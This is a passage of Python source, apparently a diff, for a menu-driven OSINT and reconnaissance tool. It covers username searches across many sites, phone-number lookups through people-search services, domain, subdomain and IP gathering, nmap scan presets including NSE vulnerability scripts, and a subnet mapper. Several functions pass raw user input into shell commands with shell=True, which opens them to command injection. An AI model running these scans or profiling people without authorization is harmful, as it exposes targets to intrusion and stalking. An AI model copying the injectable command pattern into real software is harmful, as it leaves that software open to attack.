'y' + + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f"{Colors.BOLD}Target Username: {username}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}\n") + + # Get sites from database + sites = self.sites_db.get_sites_for_scan( + categories=categories, + include_nsfw=include_nsfw, + max_sites=max_sites + ) + + total_sites = len(sites) + est_time = (total_sites * self.scan_config['timeout']) // self.scan_config['threads'] // 60 + print(f"{Colors.CYAN}[*] Scanning {total_sites} sites with {self.scan_config['threads']} threads...{Colors.RESET}") + print(f"{Colors.DIM} (Estimated time: {est_time}-{est_time*2} minutes for full scan){Colors.RESET}\n") + + found = [] + checked = 0 + errors = 0 + scan_start = time.time() + + # Multi-threaded scanning + try: + with concurrent.futures.ThreadPoolExecutor(max_workers=self.scan_config['threads']) as executor: + future_to_site = {executor.submit(self._check_site, site, username): site for site in sites} + + for future in concurrent.futures.as_completed(future_to_site): + site = future_to_site[future] + checked += 1 + + # Show current site being checked (verbose) + print(f"\r{Colors.DIM} [{checked}/{total_sites}] Checking: {site['name'][:30]:30}{Colors.RESET}", end='', flush=True) + + try: + result = future.result() + + if result: + found.append(result) + status = result.get('status', '') + rate = result.get('rate', '0%') + is_tracker = result.get('is_tracker', False) + + # Clear the checking line and display result + print(f"\r{' ' * 60}\r", end='') + + # Display based on status (social-analyzer style) + if status == 'filtered': + pass # Don't show filtered/WAF blocked + elif status == 'restricted': + pass # Don't show restricted in real-time, summarize later + elif status == 'good': + marker = f"{Colors.DIM}[tracker]{Colors.RESET} " if is_tracker else "" + print(f" {Colors.GREEN}[+]{Colors.RESET} {result['name']:25} {marker}{result['url']} {Colors.GREEN}[{rate}]{Colors.RESET}") + elif status == 'maybe' and not is_tracker: + print(f" {Colors.YELLOW}[?]{Colors.RESET} {result['name']:25} {result['url']} {Colors.YELLOW}[{rate}]{Colors.RESET}") + # 'bad' status not shown in real-time + except Exception as e: + errors += 1 + + # Progress indicator every 100 sites + if checked % 100 == 0: + print(f"\r{' ' * 60}\r{Colors.DIM} ... progress: {checked}/{total_sites} sites checked, {len(found)} found{Colors.RESET}") + + # Clear the last checking line + print(f"\r{' ' * 60}\r", end='') + + except KeyboardInterrupt: + print(f"\n{Colors.YELLOW}[!] Scan interrupted by user{Colors.RESET}") + + # Summary + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f"{Colors.BOLD}Results Summary{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f" Sites in scan: {total_sites}") + print(f" Sites checked: {checked}") + print(f" Profiles found: {Colors.GREEN}{len(found)}{Colors.RESET}") + if errors > 0: + print(f" Errors: {Colors.YELLOW}{errors}{Colors.RESET}") + + if found: + # Categorize results (social-analyzer style: good/maybe/bad) + good = [f for f in found if f.get('status') == 'good'] + maybe = [f for f in found if f.get('status') == 'maybe'] + bad = [f for f in found if f.get('status') == 'bad'] + restricted = [f for f in found if f.get('status') == 'restricted'] + filtered = [f for f in found if f.get('status') == 'filtered'] + + # Separate trackers from real sites + good_real = [f for f in good if not f.get('is_tracker')] + good_trackers = [f for f in good if f.get('is_tracker')] + maybe_real = [f for f in maybe if not f.get('is_tracker')] + + # Count pattern-based detections + pattern_based = [f for f in found if f.get('has_pattern')] + generic_based = [f for f in found if not f.get('has_pattern')] + + print(f"\n{Colors.CYAN}Results Breakdown:{Colors.RESET}") + print(f" {Colors.GREEN}Detected (good):{Colors.RESET} {len(good_real)}") + print(f" {Colors.YELLOW}Unknown (maybe):{Colors.RESET} {len(maybe_real)}") + print(f" {Colors.DIM}Bad (low rate):{Colors.RESET} {len(bad)}") + print(f" {Colors.DIM}Restricted (403):{Colors.RESET} {len(restricted)}") + print(f" {Colors.DIM}Filtered (WAF):{Colors.RESET} {len(filtered)}") + print(f" {Colors.DIM}Tracker sites:{Colors.RESET} {len(good_trackers)}") + + print(f"\n{Colors.CYAN}Detection Method:{Colors.RESET}") + print(f" {Colors.GREEN}Pattern-based:{Colors.RESET} {len(pattern_based)} (from database)") + print(f" {Colors.DIM}Generic fallback:{Colors.RESET} {len(generic_based)}") + + # Group detected by category + by_cat = {} + for f in good_real: + cat = f.get('category', 'other') + if cat not in by_cat: + by_cat[cat] = [] + by_cat[cat].append(f) + + if by_cat: + print(f"\n{Colors.CYAN}Detected by Category:{Colors.RESET}") + for cat, items in sorted(by_cat.items(), key=lambda x: -len(x[1])): + print(f" {cat}: {len(items)}") + + # Show detected profiles (good status) + if good_real: + print(f"\n{Colors.GREEN}{'─' * 40}{Colors.RESET}") + print(f"{Colors.GREEN}Detected Profiles:{Colors.RESET}") + print(f"{Colors.GREEN}{'─' * 40}{Colors.RESET}") + for r in sorted(good_real, key=lambda x: x['name'].lower())[:20]: + print(f" [{r.get('rate', '?')}] {r['name']}: {r['url']}") + + # Show unknown profiles (maybe status) + if maybe_real: + print(f"\n{Colors.YELLOW}{'─' * 40}{Colors.RESET}") + print(f"{Colors.YELLOW}Unknown (may exist):{Colors.RESET}") + print(f"{Colors.YELLOW}{'─' * 40}{Colors.RESET}") + for r in sorted(maybe_real, key=lambda x: x['name'].lower())[:15]: + print(f" [{r.get('rate', '?')}] {r['name']}: {r['url']}") + + # Option to show restricted + if restricted: + show_restricted = input(f"\n{Colors.WHITE}Show {len(restricted)} restricted results? (y/n): {Colors.RESET}").strip().lower() + if show_restricted == 'y': + print(f"\n{Colors.YELLOW}Restricted (may exist, access denied):{Colors.RESET}") + for r in restricted[:30]: + print(f" [?] {r['name']}: {r['url']}") + + # Save option + save = input(f"\n{Colors.WHITE}Save results? [{Colors.GREEN}1{Colors.WHITE}] JSON [{Colors.GREEN}2{Colors.WHITE}] HTML [{Colors.GREEN}3{Colors.WHITE}] Both [{Colors.RED}n{Colors.WHITE}] No: {Colors.RESET}").strip().lower() + if save in ['1', '2', '3']: + if save in ['1', '3']: + filename = f"{username}_profiles.json" + with open(filename, 'w') as f: + json.dump({'username': username, 'found': found, 'total_checked': checked}, f, indent=2) + self.print_status(f"Saved JSON to {filename}", "success") + + if save in ['2', '3']: + # Generate HTML report + reporter = get_report_generator() + scan_time = time.time() - scan_start + report_path = reporter.generate_username_report( + username=username, + results=found, + total_checked=checked, + scan_time=scan_time + ) + self.print_status(f"Saved HTML report to {report_path}", "success") + + def social_analyzer_search(self, username: str): + """Run social-analyzer on a username.""" + if not self.social_analyzer_available: + self.print_status("social-analyzer not installed. Install with: pip install social-analyzer", "warning") + return + + print(f"\n{Colors.CYAN}Running social-analyzer...{Colors.RESET}") + print(f"{Colors.DIM}This may take a few minutes...{Colors.RESET}\n") + + # Run social-analyzer + cmd = f"social-analyzer --username '{username}' --metadata --output json 2>/dev/null" + success, output = self.run_cmd(cmd, timeout=300) + + if success and output: + try: + results = json.loads(output) + detected = results.get('detected', []) + + if detected: + print(f"{Colors.GREEN}Found {len(detected)} profiles:{Colors.RESET}\n") + for profile in detected[:20]: + site = profile.get('site', 'Unknown') + link = profile.get('link', '') + print(f" {Colors.GREEN}+{Colors.RESET} {site:20} {link}") + else: + print(f"{Colors.YELLOW}No profiles detected{Colors.RESET}") + except json.JSONDecodeError: + print(output) # Show raw output + else: + self.print_status("social-analyzer scan completed (check for results)", "info") + + # ==================== PHONE OSINT ==================== + + def phone_lookup(self): + """Phone number OSINT.""" + print(f"\n{Colors.BOLD}Phone Number OSINT{Colors.RESET}") + print(f"{Colors.DIM}Enter with country code (e.g., +1234567890){Colors.RESET}\n") + + phone = input(f"{Colors.WHITE}Enter phone number: {Colors.RESET}").strip() + + if not phone: + return + + # Clean phone number + phone_clean = re.sub(r'[^\d+]', '', phone) + + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Target: {phone_clean}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # Parse phone number + print(f"{Colors.CYAN}Number Analysis:{Colors.RESET}") + + # Country code detection + country_codes = { + '+1': 'USA/Canada', '+44': 'UK', '+49': 'Germany', '+33': 'France', + '+81': 'Japan', '+86': 'China', '+91': 'India', '+7': 'Russia', + '+61': 'Australia', '+55': 'Brazil', '+34': 'Spain', '+39': 'Italy' + } + + country = 'Unknown' + for code, name in country_codes.items(): + if phone_clean.startswith(code): + country = name + break + + print(f" Country: {country}") + print(f" Format: {phone_clean}") + + # Carrier lookup resources + print(f"\n{Colors.CYAN}Carrier Lookup:{Colors.RESET}") + print(f" NumVerify: https://numverify.com/") + print(f" Twilio: https://www.twilio.com/lookup") + + # Search resources + print(f"\n{Colors.CYAN}Search Resources:{Colors.RESET}") + print(f" TrueCaller: https://www.truecaller.com/search/{quote(phone_clean)}") + print(f" Sync.me: https://sync.me/search/?number={quote(phone_clean)}") + print(f" SpyDialer: https://www.spydialer.com/") + print(f" WhitePages: https://www.whitepages.com/phone/{quote(phone_clean)}") + print(f" Google: https://www.google.com/search?q=\"{quote(phone_clean)}\"") + + # Messaging apps check + print(f"\n{Colors.CYAN}Messaging Apps (manual check):{Colors.RESET}") + print(f" - WhatsApp: Add to contacts and check profile") + print(f" - Telegram: Search by phone number") + print(f" - Signal: Check if registered") + + # CallerID spam check + print(f"\n{Colors.CYAN}Spam/Scam Check:{Colors.RESET}") + print(f" https://www.shouldianswer.com/phone-number/{phone_clean.replace('+', '')}") + + # ==================== DOMAIN/IP (from original) ==================== + + def domain_info(self): + """Gather domain information.""" + print(f"\n{Colors.BOLD}Domain Reconnaissance{Colors.RESET}") + domain = input(f"{Colors.WHITE}Enter domain: {Colors.RESET}").strip() + + if not domain: + return + + if '://' in domain: + domain = urlparse(domain).netloc + domain = domain.split('/')[0] + + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Target: {domain}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # DNS Resolution + print(f"{Colors.CYAN}DNS Records:{Colors.RESET}") + try: + ip = socket.gethostbyname(domain) + print(f" A Record: {ip}") + except: + print(f" A Record: {Colors.RED}Not found{Colors.RESET}") + + for record_type in ['MX', 'NS', 'TXT']: + success, output = self.run_cmd(f"dig +short {record_type} {domain} 2>/dev/null") + if success and output: + records = output.split('\n')[:3] + print(f" {record_type} Record: {records[0]}") + + # WHOIS + print(f"\n{Colors.CYAN}WHOIS Information:{Colors.RESET}") + success, output = self.run_cmd(f"whois {domain} 2>/dev/null") + if success and output: + important = ['Registrar:', 'Creation Date:', 'Expiration Date:', 'Name Server:', 'Organization:'] + for line in output.split('\n'): + for key in important: + if key.lower() in line.lower(): + print(f" {line.strip()}") + break + + # Subdomains + print(f"\n{Colors.CYAN}Subdomains (via crt.sh):{Colors.RESET}") + success, output = self.run_cmd(f"curl -s 'https://crt.sh/?q=%.{domain}&output=json' 2>/dev/null | head -5000") + if success and output: + try: + certs = json.loads(output) + subdomains = set() + for cert in certs: + name = cert.get('name_value', '') + for sub in name.split('\n'): + if sub and '*' not in sub: + subdomains.add(sub) + + for sub in sorted(subdomains)[:15]: + print(f" {sub}") + if len(subdomains) > 15: + print(f" {Colors.DIM}... and {len(subdomains) - 15} more{Colors.RESET}") + except: + pass + + def ip_info(self): + """Gather IP address information.""" + print(f"\n{Colors.BOLD}IP Address Reconnaissance{Colors.RESET}") + ip = input(f"{Colors.WHITE}Enter IP address: {Colors.RESET}").strip() + + if not ip: + return + + try: + socket.inet_aton(ip) + except: + self.print_status("Invalid IP address", "error") + return + + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Target: {ip}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # Reverse DNS + print(f"{Colors.CYAN}Reverse DNS:{Colors.RESET}") + try: + hostname = socket.gethostbyaddr(ip)[0] + print(f" Hostname: {hostname}") + except: + print(f" Hostname: {Colors.DIM}Not found{Colors.RESET}") + + # GeoIP + print(f"\n{Colors.CYAN}Geolocation:{Colors.RESET}") + success, output = self.run_cmd(f"curl -s 'http://ip-api.com/json/{ip}' 2>/dev/null") + if success and output: + try: + data = json.loads(output) + print(f" Country: {data.get('country', 'Unknown')}") + print(f" Region: {data.get('regionName', 'Unknown')}") + print(f" City: {data.get('city', 'Unknown')}") + print(f" ISP: {data.get('isp', 'Unknown')}") + print(f" Org: {data.get('org', 'Unknown')}") + except: + pass + + # Quick port scan + print(f"\n{Colors.CYAN}Quick Port Scan:{Colors.RESET}") + common_ports = [21, 22, 23, 25, 80, 443, 445, 3306, 3389, 8080] + for port in common_ports: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(0.5) + if sock.connect_ex((ip, port)) == 0: + print(f" {port}/tcp open") + sock.close() + + def subdomain_enum(self): + """Enumerate subdomains.""" + print(f"\n{Colors.BOLD}Subdomain Enumeration{Colors.RESET}") + domain = input(f"{Colors.WHITE}Enter domain: {Colors.RESET}").strip() + + if not domain: + return + + if '://' in domain: + domain = urlparse(domain).netloc + + print(f"\n{Colors.CYAN}Enumerating subdomains for {domain}...{Colors.RESET}\n") + + subdomains = set() + + # Certificate Transparency + self.print_status("Checking certificate transparency logs...", "info") + success, output = self.run_cmd(f"curl -s 'https://crt.sh/?q=%.{domain}&output=json' 2>/dev/null") + if success and output: + try: + certs = json.loads(output) + for cert in certs: + name = cert.get('name_value', '') + for sub in name.split('\n'): + if sub and '*' not in sub and domain in sub: + subdomains.add(sub.strip()) + except: + pass + + # Common subdomains + self.print_status("Checking common subdomains...", "info") + common_subs = [ + 'www', 'mail', 'ftp', 'webmail', 'smtp', 'pop', 'ns1', 'ns2', + 'vpn', 'api', 'dev', 'staging', 'test', 'blog', 'shop', 'admin', + 'portal', 'secure', 'app', 'mobile', 'cdn', 'static', 'assets' + ] + + for sub in common_subs: + fqdn = f"{sub}.{domain}" + try: + socket.gethostbyname(fqdn) + subdomains.add(fqdn) + except: + pass + + print(f"\n{Colors.GREEN}Found {len(subdomains)} subdomains:{Colors.RESET}\n") + for sub in sorted(subdomains): + try: + ip = socket.gethostbyname(sub) + print(f" {sub:40} -> {ip}") + except: + print(f" {sub}") + + def tech_detect(self): + """Detect technologies on a website.""" + print(f"\n{Colors.BOLD}Technology Detection{Colors.RESET}") + url = input(f"{Colors.WHITE}Enter URL: {Colors.RESET}").strip() + + if not url: + return + + if not url.startswith('http'): + url = f"https://{url}" + + print(f"\n{Colors.CYAN}Analyzing {url}...{Colors.RESET}\n") + + # Fetch headers + success, output = self.run_cmd(f"curl -sI '{url}' 2>/dev/null") + if success and output: + print(f"{Colors.CYAN}HTTP Headers:{Colors.RESET}") + for line in output.split('\n'): + if ':' in line: + key = line.split(':')[0].lower() + if key in ['server', 'x-powered-by', 'x-aspnet-version', 'x-generator']: + print(f" {line.strip()}") + + techs = [] + output_lower = output.lower() + if 'nginx' in output_lower: techs.append("Nginx") + if 'apache' in output_lower: techs.append("Apache") + if 'cloudflare' in output_lower: techs.append("Cloudflare") + if 'php' in output_lower: techs.append("PHP") + + if techs: + print(f"\n{Colors.CYAN}Detected:{Colors.RESET}") + for tech in techs: + print(f" {Colors.GREEN}+{Colors.RESET} {tech}") + + # ==================== TOOLS ==================== + + def run_geoip_module(self): + """Run the GEO IP/Domain Lookup module.""" + try: + from modules.geoip import run as geoip_run + geoip_run() + except ImportError as e: + self.print_status(f"Failed to load GEO IP module: {e}", "error") + except Exception as e: + self.print_status(f"Error running GEO IP module: {e}", "error") + + def run_yandex_module(self): + """Run the Yandex OSINT module.""" + try: + from modules.yandex_osint import run as yandex_run + yandex_run() + except ImportError as e: + self.print_status(f"Failed to load Yandex OSINT module: {e}", "error") + except Exception as e: + self.print_status(f"Error running Yandex OSINT module: {e}", "error") + + def run_network_test(self): + """Run the Network Test module.""" + try: + from modules.nettest import run as nettest_run + nettest_run() + except ImportError as e: + self.print_status(f"Failed to load Network Test module: {e}", "error") + except Exception as e: + self.print_status(f"Error running Network Test module: {e}", "error") + + def run_snoop_decoder(self): + """Run the Snoop Database Decoder module.""" + try: + from modules.snoop_decoder import run as snoop_run + snoop_run() + except ImportError as e: + self.print_status(f"Failed to load Snoop Decoder: {e}", "error") + except Exception as e: + self.print_status(f"Error running Snoop Decoder: {e}", "error") + + def run_dossier_manager(self): + """Run the Dossier Manager module.""" + try: + from modules.dossier import run as dossier_run + dossier_run() + except ImportError as e: + self.print_status(f"Failed to load Dossier Manager: {e}", "error") + except Exception as e: + self.print_status(f"Error running Dossier Manager: {e}", "error") + + def show_sites_db_stats(self): + """Display sites database statistics.""" + print(f"\n{Colors.BOLD}Sites Database Statistics{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + stats = self.sites_db.get_stats() + coverage = self.sites_db.get_detection_coverage() + + print(f" {Colors.CYAN}Database Path:{Colors.RESET} {stats['db_path']}") + print(f" {Colors.CYAN}Database Size:{Colors.RESET} {stats['db_size_mb']:.2f} MB") + print() + print(f" {Colors.GREEN}Total Sites:{Colors.RESET} {stats['total_sites']:,}") + print(f" {Colors.GREEN}Enabled:{Colors.RESET} {stats['enabled_sites']:,}") + print(f" {Colors.RED}NSFW Sites:{Colors.RESET} {stats['nsfw_sites']:,}") + + # Detection coverage section + print(f"\n {Colors.CYAN}Detection Coverage:{Colors.RESET}") + print(f" With detection type: {stats['with_detection']:>5,} ({coverage.get('pct_error_type', 0):.1f}%)") + print(f" With error string: {coverage['with_error_string']:>5,} ({coverage.get('pct_error_string', 0):.1f}%)") + print(f" With match string: {coverage['with_match_string']:>5,} ({coverage.get('pct_match_string', 0):.1f}%)") + + # By error type + if stats.get('by_error_type'): + print(f"\n {Colors.CYAN}By Detection Method:{Colors.RESET}") + for etype, count in sorted(stats['by_error_type'].items(), key=lambda x: -x[1]): + bar = '█' * min(int(count / 200), 25) + print(f" {etype:20} {count:>5,} {Colors.MAGENTA}{bar}{Colors.RESET}") + + print(f"\n {Colors.CYAN}By Source:{Colors.RESET}") + for source, count in sorted(stats['by_source'].items(), key=lambda x: -x[1]): + bar = '█' * min(int(count / 200), 30) + print(f" {source:20} {count:>5,} {Colors.GREEN}{bar}{Colors.RESET}") + + print(f"\n {Colors.CYAN}By Category:{Colors.RESET}") + for cat, count in sorted(stats['by_category'].items(), key=lambda x: -x[1])[:10]: + bar = '█' * min(int(count / 100), 30) + print(f" {cat:20} {count:>5,} {Colors.BLUE}{bar}{Colors.RESET}") + + # ==================== NMAP SCANNER ==================== + + def _check_nmap(self) -> bool: + """Check if nmap is installed.""" + from core.paths import find_tool + return find_tool('nmap') is not None + + def _run_nmap(self, target: str, flags: str, description: str, timeout: int = 300): + """Run an nmap scan with live output and color coding.""" + if not target.strip(): + self.print_status("Target cannot be empty", "error") + return + + cmd = f"nmap {flags} {target}" + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f"{Colors.BOLD}Scan: {description}{Colors.RESET}") + print(f"{Colors.DIM}Command: {cmd}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}\n") + + full_output = [] + open_ports = [] + + try: + proc = subprocess.Popen( + cmd, shell=True, + stdout=subprocess.PIPE, stderr=subprocess.STDOUT + ) + + for raw_line in iter(proc.stdout.readline, b''): + line = raw_line.decode('utf-8', errors='ignore').rstrip('\n') + full_output.append(line) + line_lower = line.lower() + + if 'open' in line_lower and ('tcp' in line_lower or 'udp' in line_lower or '/' in line): + print(f" {Colors.GREEN}{line}{Colors.RESET}") + open_ports.append(line.strip()) + elif 'closed' in line_lower or 'filtered' in line_lower: + print(f" {Colors.DIM}{line}{Colors.RESET}") + elif 'nmap scan report' in line_lower: + print(f" {Colors.CYAN}{Colors.BOLD}{line}{Colors.RESET}") + else: + print(f" {line}") + + proc.wait(timeout=timeout) + + except subprocess.TimeoutExpired: + proc.kill() + self.print_status("Scan timed out", "warning") + except KeyboardInterrupt: + proc.kill() + self.print_status("Scan interrupted", "warning") + except Exception as e: + self.print_status(f"Scan error: {e}", "error") + return + + # Summary + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + if open_ports: + print(f"{Colors.GREEN}{Colors.BOLD}Open ports found: {len(open_ports)}{Colors.RESET}") + for p in open_ports: + print(f" {Colors.GREEN} {p}{Colors.RESET}") + else: + print(f"{Colors.YELLOW}No open ports found{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}") + + # Save option + save = input(f"\n{Colors.WHITE}Save output to file? (y/n): {Colors.RESET}").strip().lower() + if save == 'y': + safe_target = re.sub(r'[^\w.\-]', '_', target) + filename = f"{safe_target}_nmap.txt" + with open(filename, 'w') as f: + f.write('\n'.join(full_output)) + self.print_status(f"Saved to {filename}", "success") + + def nmap_scanner(self): + """Nmap scanner submenu.""" + if not self._check_nmap(): + self.print_status("nmap is not installed", "error") + return + + while True: + print(f"\n{Colors.BOLD}Nmap Scanner{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f" {Colors.GREEN}[1]{Colors.RESET} Top 100 Ports - Fastest common port scan") + print(f" {Colors.GREEN}[2]{Colors.RESET} Quick Scan - Default top 1000 ports") + print(f" {Colors.GREEN}[3]{Colors.RESET} Full TCP Scan - All 65535 ports (slow)") + print(f" {Colors.GREEN}[4]{Colors.RESET} Stealth SYN Scan - Half-open scan (needs root)") + print(f" {Colors.GREEN}[5]{Colors.RESET} Service Detection - Detect service versions (-sV)") + print(f" {Colors.GREEN}[6]{Colors.RESET} OS Detection - OS fingerprinting (needs root)") + print(f" {Colors.GREEN}[7]{Colors.RESET} Vulnerability Scan - NSE vuln scripts") + print(f" {Colors.GREEN}[8]{Colors.RESET} UDP Scan - Top 100 UDP ports (slow, needs root)") + print(f" {Colors.GREEN}[9]{Colors.RESET} Custom Scan - Enter your own nmap flags") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + + choice = input(f"\n{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + + presets = { + "1": ("--top-ports 100 -T4", "Top 100 Ports"), + "2": ("-T4", "Quick Scan (Top 1000)"), + "3": ("-p- -T4", "Full TCP Scan (All 65535 Ports)"), + "4": ("-sS -T4", "Stealth SYN Scan"), + "5": ("-sV -T4", "Service Version Detection"), + "6": ("-O -T4", "OS Detection"), + "7": ("--script vuln -T4", "Vulnerability Scan"), + "8": ("-sU --top-ports 100 -T4", "UDP Scan (Top 100)"), + } + + if choice in presets: + target = input(f"{Colors.WHITE} Target IP/hostname: {Colors.RESET}").strip() + if target: + flags, desc = presets[choice] + self._run_nmap(target, flags, desc) + elif choice == "9": + target = input(f"{Colors.WHITE} Target IP/hostname: {Colors.RESET}").strip() + if target: + flags = input(f"{Colors.WHITE} Nmap flags: {Colors.RESET}").strip() + if flags: + self._run_nmap(target, flags, f"Custom Scan ({flags})") + + # ==================== NETWORK MAPPER ==================== + + def network_mapper(self): + """Network mapper - discover hosts and services on a subnet.""" + print(f"\n{Colors.BOLD}Network Mapper{Colors.RESET}") + print(f"{Colors.DIM}Discover hosts and services on your network{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + print(f" {Colors.GREEN}[1]{Colors.RESET} Enter subnet manually") + print(f" {Colors.GREEN}[A]{Colors.RESET} Auto-detect local subnet") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == 'a': + subnet = self._auto_detect_subnet() + if not subnet: + self.print_status("Could not auto-detect subnet", "error") + return + print(f"{Colors.CYAN}[*] Detected subnet: {subnet}{Colors.RESET}") + elif choice == '1': + subnet = input(f"{Colors.WHITE}Enter subnet (e.g., 192.168.1.0/24): {Colors.RESET}").strip() + if not subnet: + return + else: + return + + # Phase 1: Ping sweep + self.print_status(f"Phase 1: Ping sweep on {subnet}...", "info") + live_hosts = self._nmap_ping_sweep(subnet) + + if not live_hosts: + self.print_status("No live hosts found", "warning") + return + + self.print_status(f"Found {len(live_hosts)} live hosts", "success") + + # Phase 2: Service scan + scan_services = input(f"{Colors.WHITE}Scan services on discovered hosts? (y/n) [{Colors.GREEN}y{Colors.WHITE}]: {Colors.RESET}").strip().lower() + if scan_services == 'n': + for ip in live_hosts: + print(f" {Colors.GREEN}+{Colors.RESET} {ip}") + return + + self.print_status(f"Phase 2: Service detection on {len(live_hosts)} hosts...", "info") + hosts = [] + for i, ip in enumerate(live_hosts, 1): + print(f"\r{Colors.DIM} [{i}/{len(live_hosts)}] Scanning {ip}...{Colors.RESET}", end='', flush=True) + host_info = self._nmap_host_detail(ip) + hosts.append(host_info) + + print(f"\r{' ' * 60}\r", end='') + self._display_network_map(hosts, subnet) + + def _auto_detect_subnet(self) -> str: + """Auto-detect the local subnet.""" + success, output = self.run_cmd("hostname -I") + if success and output: + local_ip = output.strip().split()[0] + # Append /24 + parts = local_ip.split('.') + if len(parts) == 4: + return f"{parts[0]}.{parts[1]}.{parts[2]}.0/24" + return "" + + def _nmap_ping_sweep(self, subnet: str) -> list: + """Run nmap ping sweep to find live hosts.""" + success, output = self.run_cmd(f"nmap -sn {subnet}", timeout=120) + if not success: + return [] + + hosts = [] + for line in output.split('\n'): + if 'Nmap scan report for' in line: + # Extract IP + ip_match = re.search(r'(\d+\.\d+\.\d+\.\d+)', line) + if ip_match: + hosts.append(ip_match.group(1)) + return hosts + + def _nmap_host_detail(self, ip: str) -> dict: + """Get detailed service info for a single host.""" + result = {'ip': ip, 'hostname': '', 'os_guess': '', 'ports': []} + + success, output = self.run_cmd(f"nmap -sV --top-ports 20 -T4 {ip}", timeout=120) + if not success: + return result + + for line in output.split('\n'): + if 'Nmap scan report for' in line: + # Extract hostname + hostname_match = re.search(r'for (\S+)\s+\(', line) + if hostname_match: + result['hostname'] = hostname_match.group(1) + + port_match = re.match(r'\s*(\d+)/(tcp|udp)\s+(\S+)\s+(.*)', line) + if port_match: + result['ports'].append({ + 'port': int(port_match.group(1)), + 'state': port_match.group(3), + 'service': port_match.group(4).strip(), + }) + + if 'OS details:' in line: + result['os_guess'] = line.split('OS details:')[1].strip() + elif 'Service Info: OS:' in line: + os_match = re.search(r'OS: ([^;]+)', line) + if os_match: + result['os_guess'] = os_match.group(1).strip() + + return result + + def _display_network_map(self, hosts: list, subnet: str): + """Display network map results and save.""" + print(f"\n{Colors.CYAN}{'─' * 75}{Colors.RESET}") + print(f"{Colors.BOLD}Network Map: {subnet}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 75}{Colors.RESET}\n") + + print(f" {'IP':<18} {'Hostname':<20} {'OS':<15} {'Open Ports'}") + print(f" {'─' * 70}") + + for host in hosts: + ip = host['ip'] + hostname = host.get('hostname', '')[:18] or '-' + os_guess = host.get('os_guess', '')[:13] or '-' + open_ports = [p for p in host.get('ports', []) if p.get('state') == 'open'] + ports_str = ', '.join(f"{p['port']}" for p in open_ports[:6]) + if len(open_ports) > 6: + ports_str += f" +{len(open_ports)-6} more" + + print(f" {ip:<18} {hostname:<20} {os_guess:<15} {ports_str}") + + # Show services + for p in open_ports[:6]: + service = p.get('service', '') + if service: + print(f" {'':<18} {Colors.DIM}{p['port']:>5}/tcp {service}{Colors.RESET}") + + # Save results + os.makedirs("results", exist_ok=True) + safe_subnet = re.sub(r'[^\w.\-]', '_', subnet) + filename = f"results/network_map_{safe_subnet}.json" + with open(filename, 'w') as f: + json.dump({'subnet': subnet, 'hosts': hosts, 'timestamp': datetime.now().isoformat()}, f, indent=2) + self.print_status(f"Saved to {filename}", "success") + + # ==================== WEB SCANNER ==================== + + def web_scanner(self): + """Web application security scanner.""" + print(f"\n{Colors.BOLD}Web Scanner{Colors.RESET}") + print(f"{Colors.DIM}Check web applications for security issues{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + url = input(f"{Colors.WHITE}Enter URL: {Colors.RESET}").strip() + if not url: + return + + if not url.startswith('http'): + url = f"https://{url}" + + parsed = urlparse(url) + hostname = parsed.netloc + + print(f"\n{Colors.CYAN}Scanning {url}...{Colors.RESET}\n") + + all_findings = [] + + # Header checks + self.print_status("Checking HTTP headers...", "info") + header_findings = self._web_check_headers(url) + all_findings.extend(header_findings) + + # SSL check + if parsed.scheme == 'https': + self.print_status("Checking SSL/TLS...", "info") + ssl_findings = self._web_check_ssl(hostname) + all_findings.extend(ssl_findings) + + # Directory bruteforce + self.print_status("Checking common paths...", "info") + dir_findings = self._web_dir_bruteforce(url) + all_findings.extend(dir_findings) + + # Display findings by severity + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f"{Colors.BOLD}Web Scanner Results: {url}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}\n") + + high = [f for f in all_findings if f.get('severity') == 'HIGH'] + medium = [f for f in all_findings if f.get('severity') == 'MEDIUM'] + low = [f for f in all_findings if f.get('severity') == 'LOW'] + info = [f for f in all_findings if f.get('severity') == 'INFO'] + + for sev, items, color in [('HIGH', high, Colors.RED), ('MEDIUM', medium, Colors.YELLOW), + ('LOW', low, Colors.CYAN), ('INFO', info, Colors.DIM)]: + if items: + print(f" {color}{Colors.BOLD}{sev} ({len(items)}){Colors.RESET}") + for item in items: + print(f" {color} [{sev}]{Colors.RESET} {item['title']}") + if item.get('detail'): + print(f" {Colors.DIM}{item['detail']}{Colors.RESET}") + print() + + print(f" {Colors.BOLD}Total findings: {len(all_findings)}{Colors.RESET}") + print(f" HIGH: {len(high)} | MEDIUM: {len(medium)} | LOW: {len(low)} | INFO: {len(info)}") + + def _web_check_headers(self, url: str) -> list: + """Check HTTP response headers for security issues.""" + findings = [] + + try: + req = urllib.request.Request(url, headers={ + 'User-Agent': self.USER_AGENTS[0], + }) + with urllib.request.urlopen(req, 